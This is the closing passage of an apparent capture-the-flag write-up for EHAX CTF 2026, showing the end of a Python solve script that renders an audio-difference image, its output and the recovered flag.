        "-frames:v", "1", "-update", "1", "tdiff_R_x64_slow8_spec_lin.png",
    ])

    print("Generated: tdiff_R_x64_slow8_spec_lin.png")


if __name__ == "__main__":
    main()
python3.12 solve.py
Generated: tdiff_R_x64_slow8_spec_lin.png
EH4X{0n3_tr4ck_m1nd_tw0_tr4ck_f1les}
EHAX Capture The Flag 2026 - Writeup
https://blog.rei.my.id/posts/11/ehax-ctf-2026-writeup/
Author
Reidho Satria
Published at
2026-03-01